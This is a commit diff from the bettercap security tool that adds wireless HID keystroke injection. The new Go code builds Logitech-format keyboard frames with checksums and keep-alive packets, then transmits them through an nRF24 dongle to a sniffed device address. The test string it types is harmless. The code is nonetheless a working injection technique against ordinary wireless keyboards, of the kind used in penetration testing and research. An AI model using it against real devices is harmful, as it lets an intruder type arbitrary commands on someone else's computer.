mirror of
https://github.com/bettercap/bettercap
synced 2025-08-20 21:43:18 -07:00
basic HID injection is finally working :)
This commit is contained in:
parent
e0853ade9b
commit
d6c406cb73
7 changed files with 298 additions and 164 deletions
|
@ -5,7 +5,7 @@ import (
|
|||
)
|
||||
|
||||
type FrameBuilder interface {
|
||||
BuildFrames(commands []Command)
|
||||
BuildFrames([]*Command)
|
||||
}
|
||||
|
||||
var FrameBuilders = map[network.HIDType]FrameBuilder{
|
||||
|
|
|
@ -1,11 +1,40 @@
|
|||
package hid_recon
|
||||
|
||||
type Frame []byte
|
||||
import (
|
||||
"time"
|
||||
)
|
||||
|
||||
type Frame struct {
|
||||
Data []byte
|
||||
Delay time.Duration
|
||||
}
|
||||
|
||||
func NewFrame(buf []byte, delay int) Frame {
|
||||
return Frame{
|
||||
Data: buf,
|
||||
Delay: time.Millisecond * time.Duration(delay),
|
||||
}
|
||||
}
|
||||
|
||||
type Command struct {
|
||||
Mode byte
|
||||
HID byte
|
||||
Char string
|
||||
Sleep byte
|
||||
Sleep int
|
||||
Frames []Frame
|
||||
}
|
||||
|
||||
func (cmd *Command) AddFrame(buf []byte, delay int) {
|
||||
if cmd.Frames == nil {
|
||||
cmd.Frames = make([]Frame, 0)
|
||||
}
|
||||
cmd.Frames = append(cmd.Frames, NewFrame(buf, delay))
|
||||
}
|
||||
|
||||
func (cmd Command) IsHID() bool {
|
||||
return cmd.HID != 0 || cmd.Mode != 0
|
||||
}
|
||||
|
||||
func (cmd Command) IsSleep() bool {
|
||||
return cmd.Sleep > 0
|
||||
}
|
||||
|
|
91
modules/hid_recon/hid_inject.go
Normal file
91
modules/hid_recon/hid_inject.go
Normal file
|
@ -0,0 +1,91 @@
|
|||
package hid_recon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
|
||||
"github.com/dustin/go-humanize"
|
||||
)
|
||||
|
||||
func (mod *HIDRecon) isInjecting() bool {
|
||||
return mod.inInjectMode
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) setInjectionMode(address string) error {
|
||||
if err := mod.setSniffMode(address); err != nil {
|
||||
return err
|
||||
} else if address == "clear" {
|
||||
mod.inInjectMode = false
|
||||
} else {
|
||||
mod.inInjectMode = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) doInjection() {
|
||||
dev, found := mod.Session.HID.Get(mod.sniffAddr)
|
||||
if found == false {
|
||||
mod.Warning("could not find HID device %s", mod.sniffAddr)
|
||||
return
|
||||
}
|
||||
|
||||
builder, found := FrameBuilders[dev.Type]
|
||||
if found == false {
|
||||
mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String())
|
||||
return
|
||||
}
|
||||
|
||||
keyLayout := KeyMapFor(mod.keyLayout)
|
||||
if keyLayout == nil {
|
||||
mod.Warning("could not find keymap for '%s' layout", mod.keyLayout)
|
||||
return
|
||||
}
|
||||
|
||||
str := "hello world from bettercap ^_^"
|
||||
cmds := make([]*Command, 0)
|
||||
for _, c := range str {
|
||||
ch := fmt.Sprintf("%c", c)
|
||||
if m, found := keyLayout[ch]; found {
|
||||
cmds = append(cmds, &Command{
|
||||
Char: ch,
|
||||
HID: m.HID,
|
||||
Mode: m.Mode,
|
||||
})
|
||||
} else {
|
||||
mod.Warning("could not find HID command for '%c'", ch)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
builder.BuildFrames(cmds)
|
||||
numFrames := 0
|
||||
szFrames := 0
|
||||
for _, cmd := range cmds {
|
||||
for _, frame := range cmd.Frames {
|
||||
numFrames++
|
||||
szFrames += len(frame.Data)
|
||||
}
|
||||
}
|
||||
|
||||
mod.Info("sending %d (%s) HID frames to %s (type:%s layout:%s) ...",
|
||||
numFrames,
|
||||
humanize.Bytes(uint64(szFrames)),
|
||||
tui.Bold(mod.sniffAddr),
|
||||
tui.Yellow(dev.Type.String()),
|
||||
tui.Yellow(mod.keyLayout))
|
||||
|
||||
for i, cmd := range cmds {
|
||||
for j, frame := range cmd.Frames {
|
||||
if err := mod.dongle.TransmitPayload(frame.Data, 500, 3); err != nil {
|
||||
mod.Warning("error sending frame #%d of HID command #%d: %v", j, i, err)
|
||||
}
|
||||
|
||||
if frame.Delay > 0 {
|
||||
mod.Debug("sleeping %dms after frame #%d of command #%d ...", frame.Delay, j, i)
|
||||
time.Sleep(frame.Delay)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -46,7 +46,7 @@ var BaseMap = KeyMap{
|
|||
}
|
||||
|
||||
var KeyMaps = map[string]KeyMap{
|
||||
"be": KeyMap{
|
||||
"BE": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 48},
|
||||
"(": Command{HID: 34},
|
||||
|
@ -156,7 +156,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"fr": KeyMap{
|
||||
"FR": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 48},
|
||||
"(": Command{HID: 34},
|
||||
|
@ -254,7 +254,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 46, Mode: 64},
|
||||
},
|
||||
"ch": KeyMap{
|
||||
"CH": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 49},
|
||||
"(": Command{HID: 37, Mode: 2},
|
||||
|
@ -362,7 +362,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 29},
|
||||
"}": Command{HID: 49, Mode: 64},
|
||||
},
|
||||
"dk": KeyMap{
|
||||
"DK": KeyMap{
|
||||
"ð": Command{HID: 7, Mode: 64},
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 64},
|
||||
|
@ -476,7 +476,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"pt": KeyMap{
|
||||
"PT": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 37, Mode: 2},
|
||||
|
@ -583,7 +583,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"no": KeyMap{
|
||||
"NO": KeyMap{
|
||||
"ð": Command{HID: 7, Mode: 64},
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 64},
|
||||
|
@ -697,7 +697,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"hr": KeyMap{
|
||||
"HR": KeyMap{
|
||||
"-": Command{HID: 56},
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
|
@ -821,7 +821,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 29},
|
||||
"}": Command{HID: 17, Mode: 64},
|
||||
},
|
||||
"ca": KeyMap{
|
||||
"CA": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 38, Mode: 2},
|
||||
|
@ -943,7 +943,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 49, Mode: 64},
|
||||
},
|
||||
"de": KeyMap{
|
||||
"DE": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 37, Mode: 2},
|
||||
|
@ -1054,7 +1054,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 29},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"tr": KeyMap{
|
||||
"TR": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 64},
|
||||
"(": Command{HID: 37, Mode: 2},
|
||||
|
@ -1152,7 +1152,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"it": KeyMap{
|
||||
"IT": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 37, Mode: 2},
|
||||
|
@ -1253,7 +1253,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 48, Mode: 66},
|
||||
},
|
||||
"us": KeyMap{
|
||||
"US": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 38, Mode: 2},
|
||||
|
@ -1351,7 +1351,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 48, Mode: 2},
|
||||
},
|
||||
"sv": KeyMap{
|
||||
"SV": KeyMap{
|
||||
"ð": Command{HID: 7, Mode: 64},
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 64},
|
||||
|
@ -1464,7 +1464,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"si": KeyMap{
|
||||
"SI": KeyMap{
|
||||
"-": Command{HID: 56},
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
|
@ -1588,7 +1588,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 29},
|
||||
"}": Command{HID: 17, Mode: 64},
|
||||
},
|
||||
"gb": KeyMap{
|
||||
"GB": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 38, Mode: 2},
|
||||
|
@ -1694,7 +1694,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 48, Mode: 2},
|
||||
},
|
||||
"br": KeyMap{
|
||||
"BR": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 38, Mode: 2},
|
||||
|
@ -1796,7 +1796,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 49, Mode: 2},
|
||||
},
|
||||
"ru": KeyMap{
|
||||
"RU": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 38, Mode: 2},
|
||||
|
@ -1887,7 +1887,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"5": Command{HID: 34},
|
||||
"9": Command{HID: 38},
|
||||
},
|
||||
"fi": KeyMap{
|
||||
"FI": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 64},
|
||||
"(": Command{HID: 37, Mode: 2},
|
||||
|
@ -1993,7 +1993,7 @@ var KeyMaps = map[string]KeyMap{
|
|||
"y": Command{HID: 28},
|
||||
"}": Command{HID: 39, Mode: 64},
|
||||
},
|
||||
"es": KeyMap{
|
||||
"ES": KeyMap{
|
||||
" ": Command{HID: 44},
|
||||
"$": Command{HID: 33, Mode: 2},
|
||||
"(": Command{HID: 37, Mode: 2},
|
||||
|
|
|
@ -1,8 +1,54 @@
|
|||
package hid_recon
|
||||
|
||||
const (
|
||||
frameDelay = 12
|
||||
)
|
||||
|
||||
var (
|
||||
helloData = []byte{0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED}
|
||||
keepAliveData = []byte{0x00, 0x40, 0x04, 0xB0, 0x0C}
|
||||
)
|
||||
|
||||
type LogitechBuilder struct {
|
||||
}
|
||||
|
||||
func (b LogitechBuilder) BuildFrames(commands []Command) {
|
||||
func (b LogitechBuilder) frameFor(cmd *Command) []byte {
|
||||
data := []byte{0, 0xC1, cmd.Mode, cmd.HID, 0, 0, 0, 0, 0, 0}
|
||||
sz := len(data)
|
||||
last := sz - 1
|
||||
sum := byte(0xff)
|
||||
|
||||
for i := 0; i < last; i++ {
|
||||
sum = (sum - data[i]) & 0xff
|
||||
}
|
||||
sum = (sum + 1) & 0xff
|
||||
data[last] = sum
|
||||
|
||||
return data
|
||||
}
|
||||
|
||||
func (b LogitechBuilder) BuildFrames(commands []*Command) {
|
||||
numCommands := len(commands)
|
||||
for i, cmd := range commands {
|
||||
if i == 0 {
|
||||
cmd.AddFrame(helloData, frameDelay)
|
||||
}
|
||||
|
||||
next := (*Command)(nil)
|
||||
if i < numCommands-1 {
|
||||
next = commands[i+1]
|
||||
}
|
||||
|
||||
if cmd.IsHID() {
|
||||
cmd.AddFrame(b.frameFor(cmd), frameDelay)
|
||||
cmd.AddFrame(keepAliveData, 0)
|
||||
if next == nil || cmd.HID == next.HID || next.IsSleep() {
|
||||
cmd.AddFrame(b.frameFor(&Command{}), 0)
|
||||
}
|
||||
} else if cmd.IsSleep() {
|
||||
for i, num := 0, cmd.Sleep/10; i < num; i++ {
|
||||
cmd.AddFrame(keepAliveData, 10)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,17 +1,13 @@
|
|||
package hid_recon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/modules/utils"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
"github.com/bettercap/nrf24"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
)
|
||||
|
||||
type HIDRecon struct {
|
||||
|
@ -31,7 +27,8 @@ type HIDRecon struct {
|
|||
pingPayload []byte
|
||||
inSniffMode bool
|
||||
inPromMode bool
|
||||
keyMap string
|
||||
inInjectMode bool
|
||||
keyLayout string
|
||||
selector *utils.ViewSelector
|
||||
}
|
||||
|
||||
|
@ -51,8 +48,9 @@ func NewHIDRecon(s *session.Session) *HIDRecon {
|
|||
sniffAddr: "",
|
||||
inSniffMode: false,
|
||||
inPromMode: false,
|
||||
inInjectMode: false,
|
||||
pingPayload: []byte{0x0f, 0x0f, 0x0f, 0x0f},
|
||||
keyMap: "us",
|
||||
keyLayout: "US",
|
||||
}
|
||||
|
||||
mod.AddHandler(session.NewModuleHandler("hid.recon on", "",
|
||||
|
@ -83,6 +81,16 @@ func NewHIDRecon(s *session.Session) *HIDRecon {
|
|||
return mod.Show()
|
||||
}))
|
||||
|
||||
inject := session.NewModuleHandler("hid.inject ADDRESS", `(?i)^hid\.inject ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2})$`,
|
||||
"TODO TODO",
|
||||
func(args []string) error {
|
||||
return mod.setInjectionMode(args[0])
|
||||
})
|
||||
|
||||
inject.Complete("hid.inject", s.HIDCompleter)
|
||||
|
||||
mod.AddHandler(inject)
|
||||
|
||||
mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "hid.show", []string{"mac", "seen"}, "mac desc")
|
||||
|
||||
return mod
|
||||
|
@ -119,33 +127,6 @@ func (mod *HIDRecon) Configure() error {
|
|||
return nil
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) setSniffMode(mode string) error {
|
||||
mod.sniffLock.Lock()
|
||||
defer mod.sniffLock.Unlock()
|
||||
|
||||
mod.inSniffMode = false
|
||||
if mode == "clear" {
|
||||
mod.Debug("restoring recon mode")
|
||||
mod.sniffAddrRaw = nil
|
||||
mod.sniffAddr = ""
|
||||
} else {
|
||||
if err, raw := nrf24.ConvertAddress(mode); err != nil {
|
||||
return err
|
||||
} else {
|
||||
mod.Info("sniffing device %s ...", tui.Bold(mode))
|
||||
mod.sniffAddr = network.NormalizeHIDAddress(mode)
|
||||
mod.sniffAddrRaw = raw
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) isSniffing() bool {
|
||||
mod.sniffLock.Lock()
|
||||
defer mod.sniffLock.Unlock()
|
||||
return mod.sniffAddrRaw != nil
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) doHopping() {
|
||||
if mod.inPromMode == false {
|
||||
if err := mod.dongle.EnterPromiscMode(); err != nil {
|
||||
|
@ -153,7 +134,7 @@ func (mod *HIDRecon) doHopping() {
|
|||
} else {
|
||||
mod.inSniffMode = false
|
||||
mod.inPromMode = true
|
||||
mod.Info("device entered promiscuous mode")
|
||||
mod.Debug("device entered promiscuous mode")
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -170,103 +151,6 @@ func (mod *HIDRecon) doHopping() {
|
|||
}
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) doPing() {
|
||||
if mod.inSniffMode == false {
|
||||
if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil {
|
||||
mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err)
|
||||
} else {
|
||||
mod.inSniffMode = true
|
||||
mod.inPromMode = false
|
||||
mod.Info("device entered sniffer mode for %s", mod.sniffAddr)
|
||||
}
|
||||
}
|
||||
|
||||
if time.Since(mod.lastPing) >= mod.pingPeriod {
|
||||
// try on the current channel first
|
||||
if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil {
|
||||
for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ {
|
||||
if err := mod.dongle.SetChannel(mod.channel); err != nil {
|
||||
mod.Error("error setting channel %d: %v", mod.channel, err)
|
||||
} else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil {
|
||||
mod.lastPing = time.Now()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dev, found := mod.Session.HID.Get(mod.sniffAddr)
|
||||
if found == false {
|
||||
mod.Warning("could not find HID device %s", mod.sniffAddr)
|
||||
return
|
||||
}
|
||||
|
||||
builder, found := FrameBuilders[dev.Type]
|
||||
if found == false {
|
||||
mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String())
|
||||
return
|
||||
}
|
||||
|
||||
str := "hello world"
|
||||
cmds := make([]Command, 0)
|
||||
keyMap := KeyMapFor(mod.keyMap)
|
||||
if keyMap == nil {
|
||||
mod.Warning("could not find keymap for '%s' layout", mod.keyMap)
|
||||
return
|
||||
}
|
||||
|
||||
for _, c := range str {
|
||||
ch := fmt.Sprintf("%c", c)
|
||||
if m, found := keyMap[ch]; found {
|
||||
cmds = append(cmds, Command{
|
||||
Char: ch,
|
||||
HID: m.HID,
|
||||
Mode: m.Mode,
|
||||
})
|
||||
} else {
|
||||
mod.Warning("could not find HID command for '%c'", ch)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
builder.BuildFrames(cmds)
|
||||
|
||||
mod.Info("injecting %d HID commands ...", len(cmds))
|
||||
|
||||
numFrames := 0
|
||||
szFrames := 0
|
||||
|
||||
for i, cmd := range cmds {
|
||||
for j, frame := range cmd.Frames {
|
||||
numFrames++
|
||||
if err := mod.dongle.TransmitPayload(frame, 250, 1); err != nil {
|
||||
mod.Error("error sending frame #%d of HID command #%d: %v", j, i, err)
|
||||
return
|
||||
} else if cmd.Sleep > 0 {
|
||||
szFrames += len(frame)
|
||||
mod.Debug("sleeping %dms after frame #%d of command #%d ...", cmd.Sleep, j, i)
|
||||
time.Sleep(time.Duration(cmd.Sleep) * time.Millisecond)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
mod.Info("send %d frames for %d bytes total", numFrames, szFrames)
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) onSniffedBuffer(buf []byte) {
|
||||
if sz := len(buf); sz > 0 && buf[0] == 0x00 {
|
||||
buf = buf[1:]
|
||||
mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr)
|
||||
if dev, found := mod.Session.HID.Get(mod.sniffAddr); found {
|
||||
dev.LastSeen = time.Now()
|
||||
dev.AddPayload(buf)
|
||||
dev.AddChannel(mod.channel)
|
||||
} else {
|
||||
mod.Warning("got a payload for unknown device %s", mod.sniffAddr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) onDeviceDetected(buf []byte) {
|
||||
if sz := len(buf); sz >= 5 {
|
||||
addr, payload := buf[0:5], buf[5:]
|
||||
|
@ -274,17 +158,20 @@ func (mod *HIDRecon) onDeviceDetected(buf []byte) {
|
|||
if isNew, dev := mod.Session.HID.AddIfNew(addr, mod.channel, payload); isNew {
|
||||
// sniff for a while in order to detect the device type
|
||||
go func() {
|
||||
defer func() {
|
||||
mod.sniffLock.Unlock()
|
||||
mod.setSniffMode("clear")
|
||||
}()
|
||||
if err := mod.setSniffMode(dev.Address); err == nil {
|
||||
mod.Debug("detecting device type ...")
|
||||
defer func() {
|
||||
mod.sniffLock.Unlock()
|
||||
mod.setSniffMode("clear")
|
||||
}()
|
||||
// make sure nobody can sniff to another
|
||||
// address until we're not done here...
|
||||
mod.sniffLock.Lock()
|
||||
|
||||
mod.setSniffMode(dev.Address)
|
||||
// make sure nobody can sniff to another
|
||||
// address until we're not done here...
|
||||
mod.sniffLock.Lock()
|
||||
|
||||
time.Sleep(mod.sniffPeriod)
|
||||
time.Sleep(mod.sniffPeriod)
|
||||
} else {
|
||||
mod.Warning("error while sniffing %s: %v", dev.Address, err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
@ -307,6 +194,12 @@ func (mod *HIDRecon) Start() error {
|
|||
mod.doHopping()
|
||||
}
|
||||
|
||||
if mod.isInjecting() {
|
||||
mod.doInjection()
|
||||
mod.setInjectionMode("clear")
|
||||
continue
|
||||
}
|
||||
|
||||
buf, err := mod.dongle.ReceivePayload()
|
||||
if err != nil {
|
||||
mod.Warning("error receiving payload from channel %d: %v", mod.channel, err)
|
||||
|
|
75
modules/hid_recon/hid_sniff.go
Normal file
75
modules/hid_recon/hid_sniff.go
Normal file
|
@ -0,0 +1,75 @@
|
|||
package hid_recon
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/network"
|
||||
|
||||
"github.com/bettercap/nrf24"
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
)
|
||||
|
||||
func (mod *HIDRecon) isSniffing() bool {
|
||||
return mod.sniffAddrRaw != nil
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) setSniffMode(mode string) error {
|
||||
mod.sniffLock.Lock()
|
||||
defer mod.sniffLock.Unlock()
|
||||
|
||||
mod.inSniffMode = false
|
||||
if mode == "clear" {
|
||||
mod.Debug("restoring recon mode")
|
||||
mod.sniffAddrRaw = nil
|
||||
mod.sniffAddr = ""
|
||||
} else {
|
||||
if err, raw := nrf24.ConvertAddress(mode); err != nil {
|
||||
return err
|
||||
} else {
|
||||
mod.Debug("sniffing device %s ...", tui.Bold(mode))
|
||||
mod.sniffAddr = network.NormalizeHIDAddress(mode)
|
||||
mod.sniffAddrRaw = raw
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) doPing() {
|
||||
if mod.inSniffMode == false {
|
||||
if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil {
|
||||
mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err)
|
||||
} else {
|
||||
mod.inSniffMode = true
|
||||
mod.inPromMode = false
|
||||
mod.Debug("device entered sniffer mode for %s", mod.sniffAddr)
|
||||
}
|
||||
}
|
||||
|
||||
if time.Since(mod.lastPing) >= mod.pingPeriod {
|
||||
// try on the current channel first
|
||||
if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil {
|
||||
for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ {
|
||||
if err := mod.dongle.SetChannel(mod.channel); err != nil {
|
||||
mod.Error("error setting channel %d: %v", mod.channel, err)
|
||||
} else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil {
|
||||
mod.lastPing = time.Now()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (mod *HIDRecon) onSniffedBuffer(buf []byte) {
|
||||
if sz := len(buf); sz > 0 && buf[0] == 0x00 {
|
||||
buf = buf[1:]
|
||||
mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr)
|
||||
if dev, found := mod.Session.HID.Get(mod.sniffAddr); found {
|
||||
dev.LastSeen = time.Now()
|
||||
dev.AddPayload(buf)
|
||||
dev.AddChannel(mod.channel)
|
||||
} else {
|
||||
mod.Warning("got a payload for unknown device %s", mod.sniffAddr)
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue